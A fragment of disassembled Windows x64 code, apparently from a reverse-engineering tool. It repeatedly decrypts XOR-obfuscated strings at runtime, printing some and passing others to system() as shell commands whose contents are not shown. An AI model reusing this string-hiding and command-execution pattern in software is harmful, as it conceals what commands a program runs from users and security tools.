lea rcx, [rbp + 0x770]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2334]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x780], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x788], rax
movaps xmm0, xmmword [rbp + 0x780]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x790]
call fcn.140037ee0
bts r14d, 8
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x790]
mov rcx, rdi
call fcn.140037300
btr r14d, 8
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x790]
call fcn.140036980
movups xmm0, xmmword [0x1400b4568]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1400b4578]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [0x1400b4580]
mov byte [rsp + 0x78], al
xor r8d, r8d
cmp esi, 2
jl 0x1400314dd
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400313d0
cmp r8d, 0x19
jge 0x140031523
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400314f0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [str.AZQZ]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1400b4ad0]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x1400b4ad8]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1400b4adc]
mov word [rsp + 0x7c], ax
cmp byte [0x1400b4add], 0
je 0x140031703
xor r8d, r8d
cmp esi, 2
jl 0x1400316bd
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400315b0
cmp r8d, 0x1e
jge 0x140031703
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400316d0
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x7a0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x7a8], rax
movaps xmm0, xmmword [rbp + 0x7a0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x7b0]
call fcn.140037ee0
bts r14d, 9
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x7b0]
mov rcx, rdi
call fcn.140037300
btr r14d, 9
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x7b0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2330]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x7c0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x7c8], rax
movaps xmm0, xmmword [rbp + 0x7c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x7d0]
call fcn.140037ee0
bts r14d, 0xa
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x7d0]
mov rcx, rdi
call fcn.140037300
btr r14d, 0xa
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x7d0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2334]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x7e0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x7e8], rax
movaps xmm0, xmmword [rbp + 0x7e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x7f0]
call fcn.140037ee0
bts r14d, 0xb
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x7f0]
mov rcx, rdi
call fcn.140037300
btr r14d, 0xb
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x7f0]
call fcn.140036980
movups xmm0, xmmword [0x1400b4b20]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x1400b4b30]
mov dword [rsp + 0x70], eax
cmp byte [0x1400b4b33], 0
je 0x140031b03
xor r8d, r8d
cmp esi, 2
jl 0x140031abd
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400319b0
cmp r8d, 0x14
jge 0x140031b03
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140031ad0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b4058]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1400b4068]
movups xmmword [rsp + 0x70], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140031cc3
cmp esi, 2
jl 0x140031c87
movdqa xmm5, xmmword [0x1400b4b50]
xor edx, edx
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov r8d, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140031b80
jmp 0x140031cc3
lea r9, [rsp + 0x60]
xor r8d, r8d
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140031c90
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x800], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x808], rax
movaps xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x810]
call fcn.140037ee0
bts r14d, 0xc
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x810]
mov rcx, rdi
call fcn.140037300
btr r14d, 0xc
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x810]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2330]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x820], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x828], rax
movaps xmm0, xmmword [rbp + 0x820]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x830]
call fcn.140037ee0
bts r14d, 0xd
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x830]
mov rcx, rdi
call fcn.140037300
btr r14d, 0xd
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x830]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2334]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x840], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x848], rax
movaps xmm0, xmmword [rbp + 0x840]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x850]
call fcn.140037ee0
bts r14d, 0xe
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x850]
mov rcx, rdi
call fcn.140037300
btr r14d, 0xe
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x850]
call fcn.140036980
movups xmm0, xmmword [0x1400b39d8]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1400b39e8]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x1400b39f0]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1400b39f4]
mov word [rsp + 0x7c], ax
cmp byte [0x1400b39f5], 0
je 0x1400320e3
xor r8d, r8d
cmp esi, 2
jl 0x14003209d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140031f90
cmp r8d, 0x1e
jge 0x1400320e3
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400320b0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
movups xmm0, xmmword [0x1400b4768]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1400b4778]
movups xmmword [rsp + 0x70], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400322a3
cmp esi, 2
jl 0x140032267
movdqa xmm5, xmmword [0x1400b4b50]
xor edx, edx
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov r8d, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140032160
jmp 0x1400322a3
lea r9, [rsp + 0x60]
xor r8d, r8d
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140032270
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400b4a40]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [str.___9____6_7__93_:._8]
movups xmmword [rbp - 0x70], xmm1
movsd xmm0, qword [0x1400b4a60]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x1400b4a68]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400b4a6c]
mov word [rbp - 0x54], ax
movzx eax, byte [0x1400b4a6e]
mov byte [rbp - 0x52], al
xor r8d, r8d
cmp esi, 2
jl 0x14003243d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x80]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140032330
cmp r8d, 0x2f
jge 0x140032483
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140032450
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x860], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x868], rax
